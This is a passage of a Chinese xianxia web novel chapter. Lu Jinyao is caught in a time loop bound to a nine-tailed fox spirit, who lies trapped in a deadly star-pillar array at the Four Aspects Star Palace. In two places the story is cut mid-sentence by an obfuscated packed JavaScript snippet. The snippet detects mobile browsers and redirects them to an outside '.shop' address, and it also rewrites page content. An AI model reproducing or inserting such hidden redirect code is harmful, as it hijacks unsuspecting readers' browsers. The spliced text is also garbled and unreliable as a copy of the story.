沈灵泽愕然,他再看结界里的九尾狐时,脑海里浮现陆尽遥自己都没有察觉到的对这只九尾狐的担心,抿了唇,没有出去告诉她这一异变。 不想让她担心。 “师尊,他会出事吗?” “不知。”老者负手而立,没有离开,“他出不出事无所谓,星宫若是因他而崩塌,才是最危险的。” “你出去吧,这里我看着。” 沈灵泽领命,退出宫殿。 老者神色凝重,倏地想到上一任四相星宫宫主羽化前留下的话。 “若是出现了一名能吸引所有星子的人,一定要铲除。” “那是这世间的灾难!” 老者闭上眼,重重叹了口气。 四相星宫外,陆尽遥等了两刻钟,没见有人出来。 她在想,要不要把死狐狸精扔在这,自己直接走了算了。 旋即她就发现,沈灵泽把晏青山带走后,心脉居然没有继续堵塞。 陆尽遥一喜,“我就知道死狐狸精在捣鬼!” 她往后退了一步,再退一步,身体好得很,一点异样都没有。 那还等什么,直接走就是,她还得去找灵矿,没有时间在这等着死狐狸精出来。 陆尽遥回了合欢宗。 四相星宫内,沈灵泽望着水镜中女子离开的背影,挥散水镜。 主殿殿门还未开启,禁制还没有解除干净。 殿内,结界中的九尾狐还未醒来,他陷入了梦境中。 广袤无边的青葱草原上,他在放肆地奔跑,微风掠过脸颊,清凉舒适。 他跑得越来越快,尽全力展现自己矫健的身姿,浑身上下被激动与期待充斥,迫切地想通过自己的表现来获得某个人的喜欢。 身后传来清脆的呼喊,让他跑慢一点。 他不仅没有慢,还跑得更快了。 “你再不停下,我就走了啊。” 他心一慌,赶紧停下,扭头望去,女子跑得上气不接下气,站在那喘着气。 见他停下来,干脆坐下来,朝他招手:“小狐狸,过来。” 他立刻掉头,撒开脚丫子朝她跑过去。冲进她张开的怀抱,在她怀里拱来拱去。舔着她的手,脖颈,鼻吻亲昵地蹭她。 “你的毛真软,好想扒了做成衣衫。” 小狐狸生气地咬了她一口,她痛呼一声,他连忙松口,尖锐的牙在她手背上咬出了两个凹陷的洞。 她把手怼到他眼前,“被你咬的,痛死了。” 小狐狸眨了眨眼,想了一会,直接去舔被自己咬的地方。 她立刻把手收回去,背到身后,“别舔,都是你的口水!” 小狐狸哼唧一声,蹲坐在草地上,歪头看她。 一人一狐对视,女子噗嗤一声笑了出来,“好了,不疼,刚才是逗你的。” 小狐狸站起来,没好气地用爪子打了她一下,被她抓住。 “你还来劲了,再动手动脚,我现在就走。”女子捏住他的耳朵揉,狐狸耳软软的,很好捏。 小狐狸象征性地挣扎了一下,任由她捏去了。 狐狸眼微微眯着,喉咙里发出哼哼唧唧声响。 女子动手把他抱在怀里,使劲搓了一下,满足地叹息,“要是我能天天摸你就好了。” “唧?”小狐狸抬头,不解地望着她。 “师尊很快就要离开这,去下一个国度,我呢,也得跟着师尊一起走。”女子弯起眼眸,“也不知道下一个国度会不会有你这样的生物。” 小狐狸连忙抱住她的手臂,哼唧得越来越急,不想她走。 “或许有一天,我会回到这,但那时,应该已经过去很久很久,那个时候,你应该已经不在了。” 小狐狸急急张开口,想说话,说出来的只有人听不懂的声音。 “你要是能活得很久就好了,”说着,女子双眼亮起来,“你知道乘黄兽吗,长得和你很像,不过乘黄兽背上有角。传说乘者可增寿两千年。” “若是你在乘黄兽背上坐一坐,增加两千年寿命,下一次我回来时,就能再见到你了。” 小狐狸瞪大双眼,挣脱她的怀抱站起来,哼唧唧叫着,一直扒拉她的手,仿佛要告诉她什么。 她只是看着他笑,捏了捏他的尾巴,“你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092871|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九尾狐吗,有九条尾巴。” “你要是也有九条尾巴就好了,张开来像扇子一样。” 小狐狸扭头看看自己那唯一一条毛茸茸蓬松的尾巴,突然觉得自己的尾巴确实好少,九条尾巴,会更好看吗? 他扭头哼唧了一声,拱了拱女子的手。 他会有九条尾巴的。 涌入结界的星子忽然停滞,迅速退出结界,回到原本的轨迹。 老者定定望着恢复正常的星子,再一看结界里的九尾狐,他前肢上禁制纹几乎已经完全消失,但还没有睁开眼。 老者神色不定,撤了结界,暂时没有下手。 片刻后九尾狐的体型缓缓增大,落到地面,直立起来比人还高。巨大的身躯在这座星宫里,看起来尤为庞大。九条狐尾上扬,每一根都比人体型粗。 他睁开眼,冷漠的狐狸眼落在虚影身上,完全陌生的眼神。 晏青山下意识防备面前的老者,没有在他身上感知到生的气息,犹如个空壳。 “我是四相星宫宫主,你应该没有见过我。” 没有在老者身上感觉到杀意,晏青山化作人身,站在老者面前。 双眸不动声色地扫视周围,整个人如同处在星空中,看不到器皿陈设,也看不到出口在何处。 凛冽的视线射向老者,晏青山冷声开口问:“这是何处?” 他能感觉到自己昏迷了一段时间,这段时间里发生了什么,他无从得知。 “此地乃四相星宫主宫,你所见的所有星子,是这世界所有生灵的命运轨迹。” 老者抬手指向他,“包括你。” 晏青山挑眉,对老者的话嗤之以鼻,一颗星子就能代表他的命运?谁信。 “他说的没错,这里的星子确实代表生灵的命运轨迹。”晏尘微的声音响起。 晏青山狐疑的神色缓缓退去,他不得不重新审视起面前的老者。 想到那突然出现的循环,他开口问:“既然代表命运轨迹,那看到自己的星子,岂不是能知道自己的命运?” 老者微微一笑:“理论上可以。” 他挥手指向繁星闪烁的夜空,“能看到自己的星子,并不代表能知道命运。” “你能看到他们运行的轨迹,但你知道他们为何要按这个轨迹运行,又是在往什么样的结局发展吗?” “千百年过去,四相星宫从未有人参破过,更别提你们这种不懂星相之术的。” 老者张开双手,笑容敛去。 “世人的命运轨迹不能有一丝偏差。” 晏青山意识到危险来临时,老者已经动了手。 刹那间夜空散去,囚牢显现,老者身影化作无数星子,注入到地面阵法之中。 数道一人多粗的柱子从地面凸起,与宫殿顶端连接,在晏青山要穿过柱子缝隙而出时,缝隙间爬满银丝,强烈的危机感袭上心头,他硬生生止住脚步。 十二根星柱将他困在其中,每两根星柱之间爬满细丝,看着平静无波,实则每一根细丝上都布满足以瞬秒化神期修士的力量,更能与合体期一斗。 晏青山扯了扯嘴角,没想到来解个禁制都能碰上被人杀。 “老头,你觉得,这能拦得住我?” 21. 第 21 章 陆尽遥刚回到摘星阁,脚还没踏进殿门,就想到一件很要紧的事情。 要不是看到殿门外摆放的盆栽,她还想不起来这事。 前世她抓到晏尘微后,为了尝试突破到元婴看看能不能修复心脉,第一晚与他双修后,直接突破元婴,但是心脉无法修复,后来几次双修才发现,他的妖力可以帮自己减缓心脉堵塞,便将他留下,一直供自己采补。 而在前世的今日,她的心脉突然再次堵塞。 那时她正走到盆栽那,一口血吐上去,把那株幽兰染得血红,颜色太深,所以才记得那么清楚。 之后就是她回去把正在养神死狐狸精提起来,再次双修。 陆尽遥再一看那株雪白的幽兰,下意识捂住心口。 好像,心脉没有堵塞,也不疼? 已经离四相星宫这么远了,心脉堵塞也没有再发作,所以她与死狐狸精之间的束缚应该已经解除了? 不过循环不知道还在不在。 按她的猜测,一到前世与晏尘微双修的时候,只要不和他在一起,就会开启循环,这次不会还要开启吧? 她试探性地往主殿内走,一步,两步,三步,没感觉到痛。 陆尽遥笑出来,“终于摆脱你这只烦人的狐狸,啊,一个人的感觉真好。” 她刚走到殿门前,太阳从云层中探出一角,将她的影子投射在地板上。 陆尽遥欢快的脚步一顿,意识到一个问题。 前世的今日的确是又与晏尘微双修了,但不是现在。 她看错了时间,前世她和晏尘微双修的时候,要比现在晚半个时辰。 所以…… 陆尽遥收回了迈进主殿的脚,掉头往外走。 她要去找矿脉,离四相星宫远远的,说不定是因为离晏尘微不够远,才会解不开循环。 “对,一定是这样。” 宗主殿内,看到陆尽遥来,沧溟放下泡好的茶,笑眯眯问:“师妹来我这,是有什么要紧的事情吗?” “给我一艘飞舟,我要去找灵矿。” 沧溟搓了搓手,嘿嘿笑了声:“这飞舟我是有的,但是没有足够的灵石,飞不了多远。” “有多少给我多少,最近不会有谁来找合欢宗麻烦,你那护宗大阵剩下的灵石都给我。”陆尽遥懒得跟这个老油条多说话。 她这个师兄一点都不靠谱,师尊把宗主之位交给他,真是最失败的决定。 “那行,我马上叫人去准备,师妹你先等一会。”沧溟笑容不减,给陆尽遥倒了茶,“尝尝看,我新淘来的茶叶,味道很纯。” 陆尽遥不爱喝这种苦苦的东西,拒绝了,坐下来等。 沧溟见她不喝,小声嘟囔:“你不喝,我喝。” 片刻后弟子进来,来送飞舟和灵石的人是洛泽,陆尽遥身边没有那只九尾狐,他心情颇为顺畅。 他走到陆尽遥面前,双手将缩小的飞舟递到陆尽遥面前,“此次去寻灵矿,只有陆长老您一人吗?” 陆尽遥接过来,随口嗯了一声,正要走,他又说:“不如让弟子与长老您一起去寻灵矿?多一个人,也多一份力。况且弟子是元婴期,更能帮到长老您。” 陆尽遥拒绝,“我去就可以了,你没有找过灵矿,没有经验,出了事情还要我救你,很麻烦。” 她没有给洛泽再开口的机会,迅速掐诀离开。 她人一走,殿内鸦雀无声。 瞧着好徒儿失望的样,沧溟摇了摇头,心里叹气。他这徒儿什么都好,就是死脑筋,人都不愿搭理你,你干嘛还凑上去呢。 “徒儿啊,为师这刚泡好的茶,你要不要尝一尝?” 洛泽转身向沧溟行礼:“不用了,弟子谢过宗主。” 说罢,他借口有事要处理,也离开了。 殿内空空荡荡,沧溟嘿呦一声,“一个两个都不喝我的茶,没品,没品哦。” 硕大的阴影笼罩合欢宗上空,刚从宗主殿出来的洛泽仰头,只看到飞舟朝外飞驶而去,不见女子的身影。 他本来要走,脚步一顿,鬼使神差地在飞舟上搜寻妖气,没有感知到一丝妖气后,离开的脚步轻松了许多。 飞舟之上的陆尽遥当然能察觉到有人在搜查飞舟,察觉到那缕气息来自下方的洛泽,她没管。 这事等她回来,再做个了断吧。 最近发生的事太多,差点忘了还有他没解决。 前世洛泽也对她抱有不应该有的心思,后来她寻了个由头把人狠狠揍了一顿,从此之后他再未在她面前出现过。 说起来,前世要不是把死狐狸精抓到合欢宗,她还不知道洛泽对自己有这种心思。 陆尽遥收了思绪,操控飞舟往东方而去,赤阴府也在这个方位。 赤阴府势力每年都在往外扩,吞并若干小势力,占据修炼资源,小门小派支撑不下去,也往赤阴府投靠。 现如今修真界几大能独立生存的势力,除了赤阴府,就只有四相星宫,昆仑,还有个合欢宗。 昆仑有自己的灵矿,准确来说整座昆仑山都是灵矿,只吃山都几百年吃不完。 至于四相星宫,修的是星辰之力,用不到灵矿。 轮到合欢宗,独特的修炼方法不太用得上灵石,但像护宗大阵,炼器一类的,还是需要的。 气流波动,陆尽遥稳住身体,操控飞舟避开。 其实她也可以用法术出行,但她没法吸收灵力,修士和妖兽的力量也无法吸收,一旦消耗完,后果不堪设想。 “都怪死狐狸精!要不是他爬回来杀了我,我怎么会受这个苦!” 前世她都已经进阶到合体期了,整个修真界也没几个合体期,被晏尘微一刀捅回三年前,他真是好样的! 陆尽遥气得跺脚:“死狐狸精,再让我遇到你,我必然要扒了你的皮!” 远在四相星宫的晏青山眼皮一跳,若有所感地看了眼东方的方位。 只这么一会分神的功夫,险些被击中心脏。 “你若是想死,最好死之前主动把身体让出来。” “做梦。”晏青山身子后撤避开,迅速瞥了眼被击中的手臂,那一处衣衫已经化作灰烬,胳膊上被击出一道骇人血窟窿。 他匆匆止了血,封闭痛感,认真起来。 这阵法他破不了,晏尘微也没有办法破,那老者是想置他于死地。 这世上觊觎九尾狐力量的人那么多,这还是他第一次遇到只想将他从这个世界上毁灭的人。 “不得不说你运气比我好多了,前世你可没碰上这样倒霉的事。” 晏尘微提醒他:“你死了,没有躯壳,我的神魂也很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092872|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能消散。” “有空说废话,不如想想要怎么逃出去。” 十二座星柱上密密麻麻都是丝线,每一根星柱向他发起攻击后,另一根星柱蓄力,一根接一根,根本没有停顿的空隙。 晏青山只能不断躲避,但攻击的速度太快频率太高,有时候根本躲避不及。 而且这阵法攻击的力量他分解不了,更没有应对的办法。 “再有一刻钟,就到了时辰,或许她有办法。” 晏青山刚用妖力凝成盾挡住一击,听到晏尘微的话,一时间没反应过来他说的是什么意思。 很快危机再临,他根本没有时间问晏尘微说的是什么。 用人形对付这阵法不顺手,晏青山变回妖身,想到一个办法。 妖兽的身体硬度要比人强得多,加上他用妖力保护自己,或许可以摧毁一根柱子。 他观察过,星柱是支撑这阵法的力量来源,摧毁了,或许就可以破坏阵法。 九尾狐周身凝聚出厚实的结界,看准时机,冲着刚释放完一击的星柱撞击。 顷刻间,刺目的光团炸开,九尾狐还没接近那根星柱,就被猛地冲出的力量击飞,十二根星柱齐齐发功,九尾狐身上的结界以肉眼可见的速度碎裂。 四肢艰难撑起身体,黏稠的红从他的绒毛里溢出来。 晏青山没想到这阵法的威力这么强。 “四相星宫究竟是个什么东西?” 晏尘微也不知道,“四相星宫建立时,还没有赤阴府的存在,合欢宗那时只是个只有十几人的小门小派,那时,昆仑才是修真界仙府之首。” 又是一击,晏青山及时凝出结界,结界堪堪挡住这一击,随后碎裂。 “我收回刚才那句话,这东西还真能拦住我。” 晏青山变回人身,不再试图反抗,凝聚全身妖力化作结界,抵御阵法攻击。 只要无法立刻杀死他,那他就往死里耗。 晏尘微没有告诉他,循环很快就会开启,不出意外,上次陆尽遥去忘忧君的密室里救他,这次,她还会来吗? 四相星宫外,陆尽遥很快发现一件很棘手的事。 合欢宗的飞舟太老旧了,耗费灵石太快,眼看灵石要被消耗完,离目的地还有很长一段距离,这样下去,还没到半路她就得自己用法术去。 陆尽遥干脆现在就下去,找个地方收集点灵石,补充好了再上路。 飞舟下方是个城镇,这里离赤阴府还算近,沾赤阴府的光,经常有修士来,是以发展得越来越快,大有要成为小小仙府的趋势。 陆尽遥随便找了个交易铺换了点灵石,刚装兜里,瞥见脚下影子,心一紧。 她立刻掐诀往远处跑。 然而人还没走多远,眼前一黑,又回到交易铺,正好是她把灵石放到兜里的时候。 “……” 她再次掐诀。 两眼一黑,又把灵石放兜里。 陆尽遥咬牙:“死狐狸精,就知道坏我的事!” 她没办法,只能回四相星宫。 前世她这个时候是和晏尘微在摘星阁寝殿内双修的,就算她回寝殿也没有用。 该死的循环,必须得与死狐狸精共处才能解除! “晏尘微,你给我等着,这次看我不扒了你的皮!”